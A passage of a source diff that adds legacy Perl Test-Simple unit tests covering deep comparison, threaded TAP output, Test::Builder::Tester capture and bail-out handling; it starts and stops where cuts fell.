+ [qw(498 10 29)],
+ );
+my @complex_array2 = (
+ [qw(this that whatever)],
+ {foo => 23, bar => 42},
+ "moo",
+ "yarrow",
+ [qw(498 10 29)],
+ );
+
+is_deeply( \@complex_array1, \@complex_array2, 'is_deeply with arrays' );
+ok( eq_array(\@complex_array1, \@complex_array2),
+ 'eq_array with complicated arrays' );
+ok( eq_set(\@complex_array1, \@complex_array2),
+ 'eq_set with complicated arrays' );
+
+my @array1 = (qw(this that whatever),
+ {foo => 23, bar => 42} );
+my @array2 = (qw(this that whatever),
+ {foo => 24, bar => 42} );
+
+ok( !eq_array(\@array1, \@array2),
+ 'eq_array with slightly different complicated arrays' );
+is @Test::More::Data_Stack, 0;
+
+ok( !eq_set(\@array1, \@array2),
+ 'eq_set with slightly different complicated arrays' );
+is @Test::More::Data_Stack, 0;
+
+my %hash1 = ( foo => 23,
+ bar => [qw(this that whatever)],
+ har => { foo => 24, bar => 42 },
+ );
+my %hash2 = ( foo => 23,
+ bar => [qw(this that whatever)],
+ har => { foo => 24, bar => 42 },
+ );
+
+is_deeply( \%hash1, \%hash2, 'is_deeply with complicated hashes' );
+ok( eq_hash(\%hash1, \%hash2), 'eq_hash with complicated hashes');
+
+%hash1 = ( foo => 23,
+ bar => [qw(this that whatever)],
+ har => { foo => 24, bar => 42 },
+ );
+%hash2 = ( foo => 23,
+ bar => [qw(this tha whatever)],
+ har => { foo => 24, bar => 42 },
+ );
+
+ok( !eq_hash(\%hash1, \%hash2),
+ 'eq_hash with slightly different complicated hashes' );
+is @Test::More::Data_Stack, 0;
+
+is( Test::Builder->new, Test::More->builder, 'builder()' );
+
+
+cmp_ok(42, '==', 42, 'cmp_ok ==');
+cmp_ok('foo', 'eq', 'foo', ' eq');
+cmp_ok(42.5, '<', 42.6, ' <');
+cmp_ok(0, '||', 1, ' ||');
+
+
+# Piers pointed out sometimes people override isa().
+{
+ package Wibble;
+ sub isa {
+ my($self, $class) = @_;
+ return 1 if $class eq 'Wibblemeister';
+ }
+ sub new { bless {} }
+}
+isa_ok( Wibble->new, 'Wibblemeister' );
+
+my $sub = sub {};
+is_deeply( $sub, $sub, 'the same function ref' );
+
+use Symbol;
+my $glob = gensym;
+is_deeply( $glob, $glob, 'the same glob' );
+
+is_deeply( { foo => $sub, bar => [1, $glob] },
+ { foo => $sub, bar => [1, $glob] }
+ );
+
+
+# rt.cpan.org 53469 is_deeply with regexes
+is_deeply( qr/a/, qr/a/, "same regex" );
+
+
+# These two tests must remain at the end.
+is( $@, $Err, '$@ untouched' );
+cmp_ok( $!, '==', $Errno, '$! untouched' );
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/637.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/637.t
new file mode 100644
index 00000000000..5fd2da6fcea
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/637.t
@@ -0,0 +1,61 @@
+use strict;
+use warnings;
+# HARNESS-NO-STREAM
+
+use Test2::Util qw/CAN_THREAD/;
+BEGIN {
+ unless(CAN_THREAD) {
+ print "1..0 # Skip threads are not supported.\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ unless ( $ENV{AUTHOR_TESTING} ) {
+ print "1..0 # Skip many perls have broken threads. Enable with AUTHOR_TESTING.\n";
+ exit 0;
+ }
+}
+
+use Test2::IPC;
+use threads;
+use Test::More;
+
+plan 'skip_all' => "This test cannot be run with the current formatter"
+ unless Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter');
+
+ok 1 for (1 .. 2);
+
+# used to reset the counter after thread finishes
+my $ct_num = Test::More->builder->current_test;
+
+my $subtest_out = async {
+ my $out = '';
+
+ #simulate a subtest to not confuse the parent TAP emission
+ my $tb = Test::More->builder;
+ $tb->reset;
+ for (qw/output failure_output todo_output/) {
+ close $tb->$_;
+ open($tb->$_, '>', \$out);
+ }
+
+ ok 1 for (1 .. 3);
+
+ done_testing;
+
+ close $tb->$_ for (qw/output failure_output todo_output/);
+
+ $out;
+}
+->join;
+
+$subtest_out =~ s/^/ /gm;
+print $subtest_out;
+
+# reset as if the thread never "said" anything
+Test::More->builder->current_test($ct_num);
+
+ok 1 for (1 .. 4);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/683_thread_todo.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/683_thread_todo.t
new file mode 100644
index 00000000000..c5eb7cb629f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/683_thread_todo.t
@@ -0,0 +1,31 @@
+use strict;
+use warnings;
+
+use Test2::Util qw/CAN_THREAD/;
+BEGIN {
+ unless(CAN_THREAD) {
+ require Test::More;
+ Test::More->import(skip_all => "threads are not supported");
+ }
+}
+
+use threads;
+use Test::More;
+
+my $t = threads->create(
+ sub {
+ local $TODO = "Some good reason";
+
+ fail "Crap";
+
+ 42;
+ }
+);
+
+is(
+ $t->join,
+ 42,
+ "Thread exitted successfully"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/6_cmp_ok.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/6_cmp_ok.t
new file mode 100644
index 00000000000..05cfcba9a40
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/6_cmp_ok.t
@@ -0,0 +1,17 @@
+use Test::More;
+
+use Test2::API qw/intercept/;
+
+my $events = intercept {
+ local $SIG{__WARN__} = sub { 1 };
+ my $foo = undef;
+ cmp_ok($foo, "ne", "");
+};
+
+is($events->[-1]->message, <<EOT, "Got useful diag");
+ undef
+ ne
+ ''
+EOT
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t
new file mode 100644
index 00000000000..c94f7d4fcbd
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t
@@ -0,0 +1,37 @@
+use warnings;
+use strict;
+use Test::More;
+
+BEGIN {
+ $INC{'MyWarner.pm'} = 1;
+ package MyWarner;
+
+ sub import {
+ warnings::warnif('deprecated', "Deprected! run for your lives!");
+ }
+}
+
+sub capture(&) {
+ my $warn;
+ local $SIG{__WARN__} = sub { $warn = shift };
+ $_[0]->();
+ return $warn || "";
+}
+
+{
+local $TODO = "known to fail on $]" if $] le "5.006002";
+my $file = __FILE__;
+my $line = __LINE__ + 4;
+like(
+ capture {
+ local $TODO; # localize $TODO to clear previous assignment, as following use_ok test is expected to pass
+ use_ok 'MyWarner';
+ },
+ qr/^Deprected! run for your lives! at \Q$file\E line $line/,
+ "Got the warning"
+);
+}
+
+ok(!capture { no warnings 'deprecated'; use_ok 'MyWarner' }, "No warning");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/789-read-only.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/789-read-only.t
new file mode 100644
index 00000000000..3fdd326f881
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/789-read-only.t
@@ -0,0 +1,38 @@
+use Test::More;
+use strict;
+use warnings;
+# HARNESS-NO-STREAM
+
+# See https://github.com/Test-More/test-more/issues/789
+
+BEGIN {
+ plan skip_all => 'AUTHOR_TESTING not enabled'
+ unless $ENV{AUTHOR_TESTING};
+
+ plan skip_all => "This test requires Test::Class"
+ unless eval { require Test::Class; 1 };
+
+ plan skip_all => "This test requires Test::Script"
+ unless eval { require Test::Script; 1 };
+}
+
+package Test;
+
+use base 'Test::Class';
+
+use Test::More;
+use Test::Script;
+
+sub a_compilation_test : Test(startup => 1) {
+ script_compiles(__FILE__);
+}
+
+sub test : Test(1) {
+ ok(1);
+}
+
+package main;
+
+use Test::Class;
+
+Test::Class->runtests;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Simple/load.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Simple/load.t
new file mode 100644
index 00000000000..938569a5b85
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Simple/load.t
@@ -0,0 +1,13 @@
+#!/usr/bin/perl
+
+# Because I broke "use Test::Simple", here's a test
+
+use strict;
+use warnings;
+
+use Test::Simple;
+
+print <<END;
+1..1
+ok 1 - use Test::Simple with no arguments
+END
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Test2/Subtest.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Test2/Subtest.t
new file mode 100644
index 00000000000..31afb0ac8c2
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Test2/Subtest.t
@@ -0,0 +1,31 @@
+use strict;
+use warnings;
+
+use Test::More;
+use Test2::API qw/intercept/;
+
+my $res = intercept {
+ subtest foo => sub {
+ ok(1, "check");
+ };
+};
+
+is(@$res, 2, "2 results");
+
+isa_ok($res->[0], 'Test2::Event::Note');
+is($res->[0]->message, 'Subtest: foo', "got subtest note");
+
+isa_ok($res->[1], 'Test2::Event::Subtest');
+ok($res->[1]->pass, "subtest passed");
+
+my $subs = $res->[1]->subevents;
+is(@$subs, 2, "got all subevents");
+
+isa_ok($subs->[0], 'Test2::Event::Ok');
+is($subs->[0]->pass, 1, "subtest ok passed");
+is($subs->[0]->name, 'check', "subtest ok name");
+
+isa_ok($subs->[1], 'Test2::Event::Plan');
+is($subs->[1]->max, 1, "subtest plan is 1");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_01basic.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_01basic.t
new file mode 100644
index 00000000000..62820741c20
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_01basic.t
@@ -0,0 +1,59 @@
+#!/usr/bin/perl
+
+use Test::Builder::Tester tests => 10;
+use Test::More;
+
+ok(1,"This is a basic test");
+
+test_out("ok 1 - tested");
+ok(1,"tested");
+test_test("captured okay on basic");
+
+test_out("ok 1 - tested");
+ok(1,"tested");
+test_test("captured okay again without changing number");
+
+ok(1,"test unrelated to Test::Builder::Tester");
+
+test_out("ok 1 - one");
+test_out("ok 2 - two");
+ok(1,"one");
+ok(2,"two");
+test_test("multiple tests");
+
+test_out(qr/ok 1 - tested\n/);
+ok(1,"tested");
+test_test("regexp matching");
+
+test_out("not ok 1 - should fail");
+test_err("# Failed test ($0 at line 32)");
+test_err("# got: 'foo'");
+test_err("# expected: 'bar'");
+is("foo","bar","should fail");
+test_test("testing failing");
+
+
+test_out("not ok 1");
+test_out("not ok 2");
+test_fail(+2);
+test_fail(+1);
+fail(); fail();
+test_test("testing failing on the same line with no name");
+
+
+test_out("not ok 1 - name");
+test_out("not ok 2 - name");
+test_fail(+2);
+test_fail(+1);
+fail("name"); fail("name");
+test_test("testing failing on the same line with the same name");
+
+
+test_out("not ok 1 - name # TODO Something");
+test_out("# Failed (TODO) test ($0 at line 56)");
+TODO: {
+ local $TODO = "Something";
+ fail("name");
+}
+test_test("testing failing with todo");
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_02fhrestore.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_02fhrestore.t
new file mode 100644
index 00000000000..e37357171b8
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_02fhrestore.t
@@ -0,0 +1,58 @@
+#!/usr/bin/perl
+
+use Test::Builder::Tester tests => 4;
+use Test::More;
+use Symbol;
+
+# create temporary file handles that still point indirectly
+# to the right place
+
+my $orig_o = gensym;
+my $orig_t = gensym;
+my $orig_f = gensym;
+
+tie *$orig_o, "My::Passthru", \*STDOUT;
+tie *$orig_t, "My::Passthru", \*STDERR;
+tie *$orig_f, "My::Passthru", \*STDERR;
+
+# redirect the file handles to somewhere else for a mo
+
+use Test::Builder;
+my $t = Test::Builder->new();
+
+$t->output($orig_o);
+$t->failure_output($orig_f);
+$t->todo_output($orig_t);
+
+# run a test
+
+test_out("ok 1 - tested");
+ok(1,"tested");
+test_test("standard test okay");
+
+# now check that they were restored okay
+
+ok($orig_o == $t->output(), "output file reconnected");
+ok($orig_t == $t->todo_output(), "todo output file reconnected");
+ok($orig_f == $t->failure_output(), "failure output file reconnected");
+
+#####################################################################
+
+package My::Passthru;
+
+sub PRINT {
+ my $self = shift;
+ my $handle = $self->[0];
+ print $handle @_;
+}
+
+sub TIEHANDLE {
+ my $class = shift;
+ my $self = [shift()];
+ return bless $self, $class;
+}
+
+sub READ {}
+sub READLINE {}
+sub GETC {}
+sub FILENO {}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_03die.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_03die.t
new file mode 100644
index 00000000000..b9dba801eb4
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_03die.t
@@ -0,0 +1,12 @@
+#!/usr/bin/perl
+
+use Test::Builder::Tester tests => 1;
+use Test::More;
+
+eval {
+ test_test("foo");
+};
+like($@,
+ "/Not testing\. You must declare output with a test function first\./",
+ "dies correctly on error");
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_04line_num.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_04line_num.t
new file mode 100644
index 00000000000..9e8365acbf2
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_04line_num.t
@@ -0,0 +1,8 @@
+#!/usr/bin/perl
+
+use Test::More tests => 3;
+use Test::Builder::Tester;
+
+is(line_num(),6,"normal line num");
+is(line_num(-1),6,"line number minus one");
+is(line_num(+2),10,"line number plus two");
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_05faildiag.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_05faildiag.t
new file mode 100644
index 00000000000..59ad721240a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_05faildiag.t
@@ -0,0 +1,44 @@
+#!/usr/bin/perl
+
+use Test::Builder::Tester tests => 5;
+use Test::More;
+
+# test_fail
+
+test_out("not ok 1 - one");
+test_fail(+1);
+ok(0,"one");
+
+test_out("not ok 2 - two");
+test_fail(+2);
+
+ok(0,"two");
+
+test_test("test fail");
+
+test_fail(+2);
+test_out("not ok 1 - one");
+ok(0,"one");
+test_test("test_fail first");
+
+# test_diag
+
+use Test::Builder;
+my $test = new Test::Builder;
+
+test_diag("this is a test string","so is this");
+$test->diag("this is a test string\n", "so is this\n");
+test_test("test diag");
+
+test_diag("this is a test string","so is this");
+$test->diag("this is a test string\n");
+$test->diag("so is this\n");
+test_test("test diag multi line");
+
+test_diag("this is a test string");
+test_diag("so is this");
+$test->diag("this is a test string\n");
+$test->diag("so is this\n");
+test_test("test diag multiple");
+
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_06errormess.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_06errormess.t
new file mode 100644
index 00000000000..ec3abc63ea8
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_06errormess.t
@@ -0,0 +1,120 @@
+#!/usr/bin/perl -w
+
+use Test::More tests => 8;
+use Symbol;
+use Test::Builder;
+use Test::Builder::Tester;
+
+use strict;
+
+# argh! now we need to test the thing we're testing. Basically we need
+# to pretty much reimplement the whole code again. This is very
+# annoying but can't be avoided. And onward with the cut and paste
+
+# My brain is melting. My brain is melting. ETOOMANYLAYERSOFTESTING
+
+# create some private file handles
+my $output_handle = gensym;
+my $error_handle = gensym;
+
+# and tie them to this package
+my $out = tie *$output_handle, "Test::Builder::Tester::Tie", "STDOUT";
+my $err = tie *$error_handle, "Test::Builder::Tester::Tie", "STDERR";
+
+# ooooh, use the test suite
+my $t = Test::Builder->new;
+
+# remember the testing outputs
+my $original_output_handle;
+my $original_failure_handle;
+my $original_todo_handle;
+my $original_harness_env;
+my $testing_num;
+
+sub start_testing
+{
+ # remember what the handles were set to
+ $original_output_handle = $t->output();
+ $original_failure_handle = $t->failure_output();
+ $original_todo_handle = $t->todo_output();
+ $original_harness_env = $ENV{HARNESS_ACTIVE};
+
+ # switch out to our own handles
+ $t->output($output_handle);
+ $t->failure_output($error_handle);
+ $t->todo_output($error_handle);
+
+ $ENV{HARNESS_ACTIVE} = 0;
+
+ # clear the expected list
+ $out->reset();
+ $err->reset();
+
+ # remember that we're testing
+ $testing_num = $t->current_test;
+ $t->current_test(0);
+}
+
+# each test test is actually two tests. This is bad and wrong
+# but makes blood come out of my ears if I don't at least simplify
+# it a little this way
+
+sub my_test_test
+{
+ my $text = shift;
+ local $^W = 0;
+
+ # reset the outputs
+ $t->output($original_output_handle);
+ $t->failure_output($original_failure_handle);
+ $t->todo_output($original_todo_handle);
+ $ENV{HARNESS_ACTIVE} = $original_harness_env;
+
+ # reset the number of tests
+ $t->current_test($testing_num);
+
+ # check we got the same values
+ my $got;
+ my $wanted;
+
+ # stdout
+ $t->ok($out->check, "STDOUT $text");
+
+ # stderr
+ $t->ok($err->check, "STDERR $text");
+}
+
+####################################################################
+# Meta meta tests
+####################################################################
+
+# this is a quick test to check the hack that I've just implemented
+# actually does a cut down version of Test::Builder::Tester
+
+start_testing();
+$out->expect("ok 1 - foo");
+pass("foo");
+my_test_test("basic meta meta test");
+
+start_testing();
+$out->expect("not ok 1 - foo");
+$err->expect("# Failed test ($0 at line ".line_num(+1).")");
+fail("foo");
+my_test_test("basic meta meta test 2");
+
+start_testing();
+$out->expect("ok 1 - bar");
+test_out("ok 1 - foo");
+pass("foo");
+test_test("bar");
+my_test_test("meta meta test with tbt");
+
+start_testing();
+$out->expect("ok 1 - bar");
+test_out("not ok 1 - foo");
+test_err("# Failed test ($0 at line ".line_num(+1).")");
+fail("foo");
+test_test("bar");
+my_test_test("meta meta test with tbt2 ");
+
+####################################################################
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_07args.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_07args.t
new file mode 100644
index 00000000000..9b631ab470c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_07args.t
@@ -0,0 +1,215 @@
+#!/usr/bin/perl -w
+
+use Test::More tests => 18;
+use Symbol;
+use Test::Builder;
+use Test::Builder::Tester;
+
+use strict;
+
+# argh! now we need to test the thing we're testing. Basically we need
+# to pretty much reimplement the whole code again. This is very
+# annoying but can't be avoided. And onward with the cut and paste
+
+# My brain is melting. My brain is melting. ETOOMANYLAYERSOFTESTING
+
+# create some private file handles
+my $output_handle = gensym;
+my $error_handle = gensym;
+
+# and tie them to this package
+my $out = tie *$output_handle, "Test::Builder::Tester::Tie", "STDOUT";
+my $err = tie *$error_handle, "Test::Builder::Tester::Tie", "STDERR";
+
+# ooooh, use the test suite
+my $t = Test::Builder->new;
+
+# remember the testing outputs
+my $original_output_handle;
+my $original_failure_handle;
+my $original_todo_handle;
+my $testing_num;
+my $original_harness_env;
+
+sub start_testing
+{
+ # remember what the handles were set to
+ $original_output_handle = $t->output();
+ $original_failure_handle = $t->failure_output();
+ $original_todo_handle = $t->todo_output();
+ $original_harness_env = $ENV{HARNESS_ACTIVE};
+
+ # switch out to our own handles
+ $t->output($output_handle);
+ $t->failure_output($error_handle);
+ $t->todo_output($error_handle);
+
+ $ENV{HARNESS_ACTIVE} = 0;
+
+ # clear the expected list
+ $out->reset();
+ $err->reset();
+
+ # remember that we're testing
+ $testing_num = $t->current_test;
+ $t->current_test(0);
+}
+
+# each test test is actually two tests. This is bad and wrong
+# but makes blood come out of my ears if I don't at least simplify
+# it a little this way
+
+sub my_test_test
+{
+ my $text = shift;
+ local $^W = 0;
+
+ # reset the outputs
+ $t->output($original_output_handle);
+ $t->failure_output($original_failure_handle);
+ $t->todo_output($original_todo_handle);
+ $ENV{HARNESS_ACTIVE} = $original_harness_env;
+
+ # reset the number of tests
+ $t->current_test($testing_num);
+
+ # check we got the same values
+ my $got;
+ my $wanted;
+
+ # stdout
+ $t->ok($out->check, "STDOUT $text");
+
+ # stderr
+ $t->ok($err->check, "STDERR $text");
+}
+
+####################################################################
+# Meta meta tests
+####################################################################
+
+# this is a quick test to check the hack that I've just implemented
+# actually does a cut down version of Test::Builder::Tester
+
+start_testing();
+$out->expect("ok 1 - foo");
+pass("foo");
+my_test_test("basic meta meta test");
+
+start_testing();
+$out->expect("not ok 1 - foo");
+$err->expect("# Failed test ($0 at line ".line_num(+1).")");
+fail("foo");
+my_test_test("basic meta meta test 2");
+
+start_testing();
+$out->expect("ok 1 - bar");
+test_out("ok 1 - foo");
+pass("foo");
+test_test("bar");
+my_test_test("meta meta test with tbt");
+
+start_testing();
+$out->expect("ok 1 - bar");
+test_out("not ok 1 - foo");
+test_err("# Failed test ($0 at line ".line_num(+1).")");
+fail("foo");
+test_test("bar");
+my_test_test("meta meta test with tbt2 ");
+
+####################################################################
+# Actual meta tests
+####################################################################
+
+# set up the outer wrapper again
+start_testing();
+$out->expect("ok 1 - bar");
+
+# set up what the inner wrapper expects
+test_out("ok 1 - foo");
+
+# the actual test function that we are testing
+ok("1","foo");
+
+# test the name
+test_test(name => "bar");
+
+# check that passed
+my_test_test("meta test name");
+
+####################################################################
+
+# set up the outer wrapper again
+start_testing();
+$out->expect("ok 1 - bar");
+
+# set up what the inner wrapper expects
+test_out("ok 1 - foo");
+
+# the actual test function that we are testing
+ok("1","foo");
+
+# test the name
+test_test(title => "bar");
+
+# check that passed
+my_test_test("meta test title");
+
+####################################################################
+
+# set up the outer wrapper again
+start_testing();
+$out->expect("ok 1 - bar");
+
+# set up what the inner wrapper expects
+test_out("ok 1 - foo");
+
+# the actual test function that we are testing
+ok("1","foo");
+
+# test the name
+test_test(label => "bar");
+
+# check that passed
+my_test_test("meta test title");
+
+####################################################################
+
+# set up the outer wrapper again
+start_testing();
+$out->expect("ok 1 - bar");
+
+# set up what the inner wrapper expects
+test_out("not ok 1 - foo this is wrong");
+test_fail(+3);
+
+# the actual test function that we are testing
+ok("0","foo");
+
+# test that we got what we expect, ignoring our is wrong
+test_test(skip_out => 1, name => "bar");
+
+# check that that passed
+my_test_test("meta test skip_out");
+
+####################################################################
+
+# set up the outer wrapper again
+start_testing();
+$out->expect("ok 1 - bar");
+
+# set up what the inner wrapper expects
+test_out("not ok 1 - foo");
+test_err("this is wrong");
+
+# the actual test function that we are testing
+ok("0","foo");
+
+# test that we got what we expect, ignoring err is wrong
+test_test(skip_err => 1, name => "bar");
+
+# diagnostics failing out
+# check that that passed
+my_test_test("meta test skip_err");
+
+####################################################################
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t
new file mode 100644
index 00000000000..26bbc3b9624
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t
@@ -0,0 +1,17 @@
+#!/usr/bin/env perl
+# HARNESS-NO-STREAM
+
+use strict;
+use warnings;
+
+use Test::Builder::Tester tests => 1;
+use Test::More;
+
+subtest 'foo' => sub {
+ plan tests => 1;
+
+ test_out("not ok 1 - foo");
+ test_fail(+1);
+ fail("foo");
+ test_test("fail works");
+};
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t
new file mode 100644
index 00000000000..87e1a541408
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t
@@ -0,0 +1,23 @@
+#!/usr/bin/perl
+
+use strict;
+use warnings;
+
+use Test::Builder::Tester tests => 3;
+use Test::More;
+use File::Basename qw(dirname);
+use File::Spec qw();
+
+my $file = File::Spec->join(dirname(__FILE__), 'tbt_09do_script.pl');
+$file = File::Spec->catfile(File::Spec->curdir(), $file)
+ unless File::Spec->file_name_is_absolute($file);
+my $done = do $file;
+ok(defined($done), 'do succeeded') or do {
+ if ($@) {
+ diag qq( \$@ is '$@'\n);
+ } elsif ($!) {
+ diag qq( \$! is '$!'\n);
+ } else {
+ diag qq( file's last statement returned undef: $file)
+ }
+};
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_09do_script.pl b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_09do_script.pl
new file mode 100644
index 00000000000..590a03b085e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_09do_script.pl
@@ -0,0 +1,13 @@
+#!/usr/bin/perl
+
+use strict;
+use warnings;
+
+isnt($0, __FILE__, 'code is not executing directly');
+
+test_out("not ok 1 - one");
+test_fail(+1);
+ok(0,"one");
+test_test('test_fail caught fail message inside a do');
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/auto.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/auto.t
new file mode 100644
index 00000000000..5a5de4fb5b7
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/auto.t
@@ -0,0 +1,36 @@
+use strict;
+use warnings;
+
+use lib 't/lib';
+
+use Test::Tester tests => 6;
+
+use SmallTest;
+
+use MyTest;
+
+{
+ my ($prem, @results) = run_tests(
+ sub { MyTest::ok(1, "run pass")}
+ );
+
+ is_eq($results[0]->{name}, "run pass");
+ is_num($results[0]->{ok}, 1);
+}
+
+{
+ my ($prem, @results) = run_tests(
+ sub { MyTest::ok(0, "run fail")}
+ );
+
+ is_eq($results[0]->{name}, "run fail");
+ is_num($results[0]->{ok}, 0);
+}
+
+is_eq(ref(SmallTest::getTest()), "Test::Tester::Delegate");
+
+is_eq(
+ SmallTest::getTest()->can('ok'),
+ Test::Builder->can('ok'),
+ "Delegate->can() returns the sub from the inner object",
+);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/bad_plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/bad_plan.t
new file mode 100644
index 00000000000..80e0e65bcaa
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/bad_plan.t
@@ -0,0 +1,23 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::Builder;
+my $Test = Test::Builder->new;
+$Test->plan( tests => 2 );
+$Test->level(0);
+
+my $tb = Test::Builder->create;
+
+eval { $tb->plan(7); };
+$Test->like( $@, qr/^plan\(\) doesn't understand 7/, 'bad plan()' ) ||
+ print STDERR "# $@";
+
+eval { $tb->plan(wibble => 7); };
+$Test->like( $@, qr/^plan\(\) doesn't understand wibble 7/, 'bad plan()' ) ||
+ print STDERR "# $@";
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/bail_out.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/bail_out.t
new file mode 100644
index 00000000000..94f12acc941
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/bail_out.t
@@ -0,0 +1,48 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+my $Exit_Code;
+BEGIN {
+ *CORE::GLOBAL::exit = sub { $Exit_Code = shift; };
+}
+
+# This test uses multiple builders, the real one is using the top hub, we need
+# to fix the ending.
+Test2::API::test2_stack()->top->set_no_ending(1);
+
+use Test::Builder;
+use Test::More;
+
+my $output;
+my $TB = Test::More->builder;
+$TB->output(\$output);
+
+my $Test = Test::Builder->create;
+$Test->level(0);
+
+$Test->plan(tests => 3);
+
+plan tests => 4;
+
+BAIL_OUT("ROCKS FALL! EVERYONE DIES!");
+
+
+$Test->is_eq( $output, <<'OUT' );
+1..4
+Bail out! ROCKS FALL! EVERYONE DIES!
+OUT
+
+$Test->is_eq( $Exit_Code, 255 );
+
+$Test->ok( $Test->can("BAILOUT"), "Backwards compat" );
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/buffer.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/buffer.t
new file mode 100644
index 00000000000..1e7b6c9e080
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/buffer.t
@@ -0,0 +1,23 @@
+#!/usr/bin/perl
+# HARNESS-NO-STREAM
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+# Ensure that intermixed prints to STDOUT and tests come out in the
+# right order (ie. no buffering problems).
+
+use Test::More tests => 20;
+my $T = Test::Builder->new;
+$T->no_ending(1);
+
+for my $num (1..10) {
+ $tnum = $num * 2;
+ pass("I'm ok");
+ $T->current_test($tnum);
